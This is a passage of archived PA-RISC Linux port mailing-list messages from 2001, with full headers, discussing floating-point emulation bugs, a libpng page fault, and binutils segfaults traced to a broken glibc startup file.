User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:10489

Hi all,                                                               
                                                                      
	The test of the Seti@client reveals lots of problems. When the       
calculation doesn't result in an illegal instruction (cf A500), the   
results are false. The kernel running was compiled on a B132L and the 
xc seems to be an old one. We now try with an newer kernel and xc.    
                                                                      
	The calculation time for the test is 56 hours. Under HPUX, it is     
about 30 hours.                                                       
                                                                      
	A link is available in our page                                      
(http://mkhppa1.esiee.fr/en/result.html) showing the comparison       
between the client and the official results.                          
                                                                      
Bye                                                                   
	Bruno IGLESIAS                                                       




From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@eradicator.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug 72 ( Floating point problems )
Date: 09 Mar 2001 12:11:59 -0500
Organization: None worth mentioning
Lines: 43
Approved: news@gmane.org
Message-ID: <87g0gmzx28.fsf@monolith.eradicator.org>
References: <20010309164348.93224D15C5@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619941 16689 80.91.229.3 (22 Nov 2014 01:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Bruno IGLESIAS <iglesiab@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  9 10:12:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost (monolith.eradicator.org [64.81.135.24])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFDA94A19
	for <parisc-linux@parisc-linux.org>; Fri,  9 Mar 2001 10:12:40 -0700 (MST)
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 14bQQp-0004Yp-00; Fri, 09 Mar 2001 12:11:59 -0500
In-Reply-To: Bruno IGLESIAS's message of "Fri, 09 Mar 2001 17:43:48 +0000"
Original-Lines: 40
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:10490

Bruno IGLESIAS <iglesiab@esiee.fr> writes:

> 	The test of the Seti@client reveals lots of problems. When the       
> calculation doesn't result in an illegal instruction (cf A500), the   
> results are false. The kernel running was compiled on a B132L and the 
> xc seems to be an old one. We now try with an newer kernel and xc.    

That's likely to be either:

 1) a compiler bug.
 2) a problem with saving/restoring floating point state in the kernel.
 3) a consequence of the mostly non-existant floating point completion
    handler in the kernel. (see FIXME in arch/parisc/kernel/traps.c)

...in increasing order of likeliness.

A whole bunch of instructions are supposed to be trapped and emulated
in software, most notably the rounding instructions.  We catch
co-processor traps and handle exceptions, but we don't (yet) emulate
anything, so the results of these instructions are undefined.

Part of the problem is that the details of which instructions are to
be emulated are not in the architecture manuals, but rather in the
chip manuals, and we only have these for the 7100 and 7300LC, as far
as I know.

What probably needs to be done is someone needs to take small pieces
of numeric code and track down all the operations that are throwing
traps or giving incorrect results, and fix them all individually :(

> 	The calculation time for the test is 56 hours. Under HPUX, it is     
> about 30 hours.                                                       

That's probably to be expected for floating-point code.  HP/UX has
lots of extra, super-optimized millicode to handle various low-level
FP operations.

-- 
David Huggins-Daines              -                     dhd@pobox.com
                      http://www.pobox.com/~dhd/




From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: 5116@telia.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TODO-list entry of "HIL keyboard driver needs   
 updating"
Date: Fri, 9 Mar 2001 20:52:52 +0100 (CET)
Lines: 20
Approved: news@gmane.org
Message-ID: <200103091952.UAA18185@zaphod.halden.lillfab.se>
References: <3AA5F8AB.A75EEB2B@linuxcare.com>
Reply-To: 5116@telia.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/plain; CHARSET=US-ASCII
X-Trace: ger.gmane.org 1416619941 16690 80.91.229.3 (22 Nov 2014 01:32:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex deVries <alex@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  9 12:53:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailg.telia.com (mailg.telia.com [194.22.194.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91C1A4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 Mar 2001 12:53:10 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se (t3o70p29.telia.com [62.20.149.29])
	by mailg.telia.com (8.9.3/8.9.3) with ESMTP id UAA20104;
	Fri, 9 Mar 2001 20:52:58 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id UAA18185;
	Fri, 9 Mar 2001 20:52:52 +0100
In-Reply-To: <3AA5F8AB.A75EEB2B@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10491

On  7 Mar, Alex deVries wrote:
 
> The remapping functions are pretty wild, and I'd thought I'd already
> committed those.  It's a horrible bit twisting and shifting thing.
Yes, I saw those, but I did not really get them to work until I removed
the remapping thing. May be the early EISA BA is very different from the
later (and more common one)?
 
> Hang on a few days, I'll dig this up for you.
Will do.


/Daniel

-- 






From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] libpng test program causes page fault
Date: Sun, 11 Mar 2001 00:40:41 +1100 (EST)
Lines: 46
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103110024490.23407-100000@front.linuxcare.com.au>
References: <20010308210436.4AEA537CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619942 16692 80.91.229.3 (22 Nov 2014 01:32:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:22 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 10 06:42:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id C63314A19
	for <parisc-linux@parisc-linux.org>; Sat, 10 Mar 2001 06:42:42 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA25788;
	Sun, 11 Mar 2001 00:40:41 +1100
In-Reply-To: <20010308210436.4AEA537CB4@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10492

On Thu, 8 Mar 2001, Matt Taggart wrote:

> I am still having the problem with the new fixed glibc and new compilers. The 
> page fault is different though,

I get:
Testing libpng version 1.0.8
   with zlib   version 1.1.3

 libpng version 1.0.8 - July 24, 2000
   Copyright (c) 1998-2000 Glenn Randers-Pehrson
   Copyright (c) 1996, 1997 Andreas Dilger
   Copyright (c) 1995, 1996 Guy Eric Schalnat, Group 42, Inc.
 library (10008): libpng version 1.0.8 - July 24, 2000 (header)
 pngtest (10008): libpng version 1.0.8 - July 24, 2000 (header)
 sizeof(png_struct)=808, sizeof(png_info)=288
Testing pngtest.png:
[snip]
libpng passes test

> IASQ: 00000616 00000616 IAOQ: 40057e93 40057e97
>  IIR: 48210228    ISR: 00000616  IOR: 401daa1c
> ORIG_R28: faf00001
> 
> The new pngtest is attached.

And the same with your binary (shared libs built from source locally)

ldd pngtest
        libpng.so.2 => /usr/lib/libpng.so.2 (0x40020000)
        libz.so.1 => /usr/lib/libz.so.1 (0x4004f000)
        libm.so.6 => /lib/libm.so.6 (0x4005f000)
        libc.so.6 => /lib/libc.so.6 (0x40091000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)

Your IOAQ indicates the fault happened in libz.  48210228 occurs in my
libz in __do_global_ctors_aux, so it smells like your libz is bad,
ie. built with bad crt[in].o.

Alan Modra
-- 
Linuxcare





From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New native gcc debs
Date: Sat, 10 Mar 2001 09:29:10 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20010310092910.N18113@tausq.org>
References: <20010306085014.D58AB38BD7@carmen.fc.hp.com> <E14aklv-0002kR-00@noam.fc.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619942 16693 80.91.229.3 (22 Nov 2014 01:32:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:22 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 10 09:30:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from phnxpop4.phnx.uswest.net (phnxpop4.phnx.uswest.net [206.80.192.4])
	by dsl2.external.hp.com (Postfix) with SMTP id D00A64A19
	for <parisc-linux@parisc-linux.org>; Sat, 10 Mar 2001 09:30:47 -0700 (MST)
Original-Received: (qmail 38933 invoked by alias); 10 Mar 2001 16:30:46 -0000
Delivered-To: fixup-parisc-linux@parisc-linux.org@fixme
Original-Received: (qmail 38911 invoked by uid 0); 10 Mar 2001 16:30:46 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by phnxpop4.phnx.uswest.net with SMTP; 10 Mar 2001 16:30:46 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14bmEw-0001xH-00; Sat, 10 Mar 2001 09:29:10 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14aklv-0002kR-00@noam.fc.hp.com>; from bame@fc.hp.com on Wed, Mar 07, 2001 at 01:42:59PM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10493

> The apt build failure seems to be that the apt compile is unable
> to see things in the 'std' namespace -- possibly a new mode of 2.9.7
> and I have no clue how to fix this (namespaces are newer than my
> working C++ knowledge).

i think taggart had a g++ flag that might help, but absent that adding
some strategic "using namespace std;" in the source might help. i am
having lots of binutils problems (segfaults -- more in a separate mail)
but will try to investigate further.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] segfaults with new binutils
Date: Sat, 10 Mar 2001 09:39:42 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20010310093942.O18113@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619942 16695 80.91.229.3 (22 Nov 2014 01:32:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:22 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 10 09:41:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from phnxpop4.phnx.uswest.net (phnxpop4.phnx.uswest.net [206.80.192.4])
	by dsl2.external.hp.com (Postfix) with SMTP id BB5764A19
	for <parisc-linux@parisc-linux.org>; Sat, 10 Mar 2001 09:41:18 -0700 (MST)
Original-Received: (qmail 64575 invoked by alias); 10 Mar 2001 16:41:18 -0000
Delivered-To: fixup-parisc-linux@parisc-linux.org@fixme
Original-Received: (qmail 64561 invoked by uid 0); 10 Mar 2001 16:41:17 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by phnxpop4.phnx.uswest.net with SMTP; 10 Mar 2001 16:41:17 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14bmP8-0001xo-00; Sat, 10 Mar 2001 09:39:42 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10494

I'm using binutils from
ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/
with the corresponding libc6/libc6-dev in that directory, and using the
new gcc-2.97 packages.

Running any of the binaries in the binutils deb gives an immediate
segfault. This includes things like as, ld, etc... obviously this makes
it rather difficult to compile anything.. :-(

I've tried this with both 32-bit and 64-bit kernels built from
yesterday's cvs. Also, at taggart's advice, tried an older 32-bit kernel
built from Feb21 CVS (that was the date of the kernel he was using.) 
This is on a C3k.

strace gives: 
[...]
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\205"..., 1024) = 1
024
newfstat(3, {st_mode=S_IFREG|0755, st_size=1281732, ...}) = 0
close(3)                                = 0
munmap(0x4001d000, 7026)                = 0
getpid()                                = 9829
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

I rebuilt binutils using an earlier nfsroot (so, older binutils/glibc/gcc 
combo) and the resulting binutils binaries work ok with the new 
os/kernel/libc/gcc combo.

ideas, hints, fixes? :)
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Sat, 10 Mar 2001 10:21:54 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20010310102154.P18113@tausq.org>
References: <20010310093942.O18113@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619943 16698 80.91.229.3 (22 Nov 2014 01:32:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 10 10:23:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from phnxpop4.phnx.uswest.net (phnxpop4.phnx.uswest.net [206.80.192.4])
	by dsl2.external.hp.com (Postfix) with SMTP id 9E2C24A19
	for <parisc-linux@parisc-linux.org>; Sat, 10 Mar 2001 10:23:30 -0700 (MST)
Original-Received: (qmail 78034 invoked by alias); 10 Mar 2001 17:23:30 -0000
Delivered-To: fixup-parisc-linux@parisc-linux.org@fixme
Original-Received: (qmail 78027 invoked by uid 0); 10 Mar 2001 17:23:29 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by phnxpop4.phnx.uswest.net with SMTP; 10 Mar 2001 17:23:29 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14bn3y-0001z8-00; Sat, 10 Mar 2001 10:21:54 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010310093942.O18113@tausq.org>; from randolph@tausq.org on Sat, Mar 10, 2001 at 09:39:42AM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10495

> Running any of the binaries in the binutils deb gives an immediate
> segfault. This includes things like as, ld, etc... obviously this makes
> it rather difficult to compile anything.. :-(

ok, one more bit of info; removing the --enable-shared from the binutils
build line gives binaries that work, so i'm guessing there's some
problems with the shared libs (libopcodes and libbfd) ?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Sun, 11 Mar 2001 13:55:45 +1100 (EST)
Lines: 65
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103111254230.23407-100000@front.linuxcare.com.au>
References: <20010310102154.P18113@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619943 16700 80.91.229.3 (22 Nov 2014 01:32:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 10 19:56:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DDAF4A19
	for <parisc-linux@parisc-linux.org>; Sat, 10 Mar 2001 19:56:24 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id NAA23111;
	Sun, 11 Mar 2001 13:55:45 +1100
In-Reply-To: <20010310102154.P18113@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:10496

On Sat, 10 Mar 2001, Randolph Chung wrote:

> > Running any of the binaries in the binutils deb gives an immediate
> > segfault. This includes things like as, ld, etc... obviously this makes
> > it rather difficult to compile anything.. :-(
> 
> ok, one more bit of info; removing the --enable-shared from the binutils
> build line gives binaries that work, so i'm guessing there's some
> problems with the shared libs (libopcodes and libbfd) ?

Very likely.  I'm downloading at the moment to have a look at
it.  You can check yourself by disassembling the shared libs.

"objdump -j .init -dr libbfd.so" should give you something like the
following:

0000000000011a0c <_init-0x1c>:
   11a0c:	e8 20 00 00 	b,l 11a14 <_init-0x14>,r1
   11a10:	28 2a 50 00 	addil 54800,r1,%r1
   11a14:	e0 20 22 02 	be,n 100(sr4,r1)
   11a18:	2a 7f ff ff 	addil -800,r19,%r1
   11a1c:	48 35 06 88 	ldw 344(r1),r21
   11a20:	ea a0 c0 00 	bv r0(r21)
   11a24:	48 33 06 90 	ldw 348(r1),r19

0000000000011a28 <_init>:
   11a28:	6b c2 3f d9 	stw rp,-14(sp)
   11a2c:	6f c4 00 80 	stw,ma r4,40(sp)
   11a30:	6b d3 3f c1 	stw r19,-20(sp)
   11a34:	e8 5f 1f bd 	b,l 11a18 <_init-0x10>,rp
   11a38:	08 13 02 44 	copy r19,r4
   11a3c:	08 04 02 53 	copy r4,r19
   11a40:	e8 40 02 a0 	b,l 11b98 <frame_dummy>,rp
   11a44:	08 00 02 40 	nop
   11a48:	08 04 02 53 	copy r4,r19
   11a4c:	e8 5f 1f 75 	b,l 11a0c <_init-0x1c>,rp
   11a50:	08 00 02 40 	nop
   11a54:	08 04 02 53 	copy r4,r19
   11a58:	4b c2 3f 59 	ldw -54(sp),rp
   11a5c:	08 04 02 53 	copy r4,r19
   11a60:	e8 40 c0 00 	bv r0(rp)

0000000000011a64 <_end_init>:
   11a64:	4f c4 3f 81 	ldw,mb -40(sp),r4

If you see a mix of r4 and r3 being used to save/restore r19, then that's
the direct cause of your crashes.  The indirect cause is a bad crti.o and
crtn.o built from glibc sources checked out from pehc between 2001/01/16
and 2001/02/05.

You've already started down the path to recovery:
  build and install binutils with --disable-shared,
  build and install gcc with --enable-languages=c --disable-shared,
  build and install glibc

You can then build tools with --enable-shared if you like.

Alan Modra
-- 
Linuxcare






From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Sun, 11 Mar 2001 14:31:26 +1100 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103111420410.23407-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103111254230.23407-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619943 16702 80.91.229.3 (22 Nov 2014 01:32:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>,
	Matt Taggart <taggart@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 10 20:32:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCB634A19
	for <parisc-linux@parisc-linux.org>; Sat, 10 Mar 2001 20:32:16 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA24047;
	Sun, 11 Mar 2001 14:31:26 +1100
In-Reply-To: <Pine.LNX.4.21.0103111254230.23407-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10497

On Sun, 11 Mar 2001, Alan Modra wrote:

> On Sat, 10 Mar 2001, Randolph Chung wrote:
> > ok, one more bit of info; removing the --enable-shared from the binutils
> > build line gives binaries that work, so i'm guessing there's some
> > problems with the shared libs (libopcodes and libbfd) ?
> 
> Very likely.  I'm downloading at the moment to have a look at
> it.  You can check yourself by disassembling the shared libs.
> 
> "objdump -j .init -dr libbfd.so"

Yep, badly borken libbfd and libopcodes in binutils_2.10.91.0.2-3_hppa.deb

Incidentally, I'm not actively updating binutils CVS on pehc any longer.
If you want the latest code, get it from sourceware.cygnus.com CVS, either
the 2.11 branch, or trunk for bleeding edge code.  At the moment, there's
no particular reason to not use pehc for hppa-linux binutils, as it's not
too far behind, but that will no doubt change in the future...

Alan Modra
-- 
Linuxcare





From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Sun, 11 Mar 2001 12:50:07 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20010311125007.A21169@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0103111254230.23407-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0103111420410.23407-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619944 16703 80.91.229.3 (22 Nov 2014 01:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:24 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	Matt Taggart <taggart@fc.hp.com>, parisc-linux@parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 05:50:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A1C64A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 05:50:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14c5IV-0005Wv-00; Sun, 11 Mar 2001 12:50:07 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0103111420410.23407-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Sun, Mar 11, 2001 at 02:31:26PM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10498

On Sun, Mar 11, 2001 at 02:31:26PM +1100, Alan Modra wrote:
> Incidentally, I'm not actively updating binutils CVS on pehc any longer.
> If you want the latest code, get it from sourceware.cygnus.com CVS, either
> the 2.11 branch, or trunk for bleeding edge code.  At the moment, there's
> no particular reason to not use pehc for hppa-linux binutils, as it's not
> too far behind, but that will no doubt change in the future...

Is there any point in keeping this CVS module then?  Shall we just delete it?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Sun, 11 Mar 2001 09:49:21 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20010311094921.V18113@tausq.org>
References: <Pine.LNX.4.21.0103111254230.23407-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0103111420410.23407-100000@front.linuxcare.com.au> <20010311125007.A21169@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619944 16706 80.91.229.3 (22 Nov 2014 01:32:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:24 +0000 (UTC)
Cc: "Alan Modra" <alan@linuxcare.com.au>,
	"Matt Taggart" <taggart@fc.hp.com>, parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 11 09:51:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from phnxpop3.phnx.uswest.net (phnxpop3.phnx.uswest.net [206.80.192.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 498BC4A19
	for <parisc-linux@parisc-linux.org>; Sun, 11 Mar 2001 09:51:12 -0700 (MST)
Original-Received: (qmail 3293 invoked by uid 0); 11 Mar 2001 16:50:57 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by phnxpop3.phnx.uswest.net with SMTP; 11 Mar 2001 16:50:57 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14c921-00069k-00; Sun, 11 Mar 2001 09:49:21 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010311125007.A21169@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sun, Mar 11, 2001 at 12:50:07PM +0000
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10499

In reference to a message from Matthew Wilcox, dated Mar 11:
> On Sun, Mar 11, 2001 at 02:31:26PM +1100, Alan Modra wrote:
> > Incidentally, I'm not actively updating binutils CVS on pehc any longer.
> > If you want the latest code, get it from sourceware.cygnus.com CVS, either
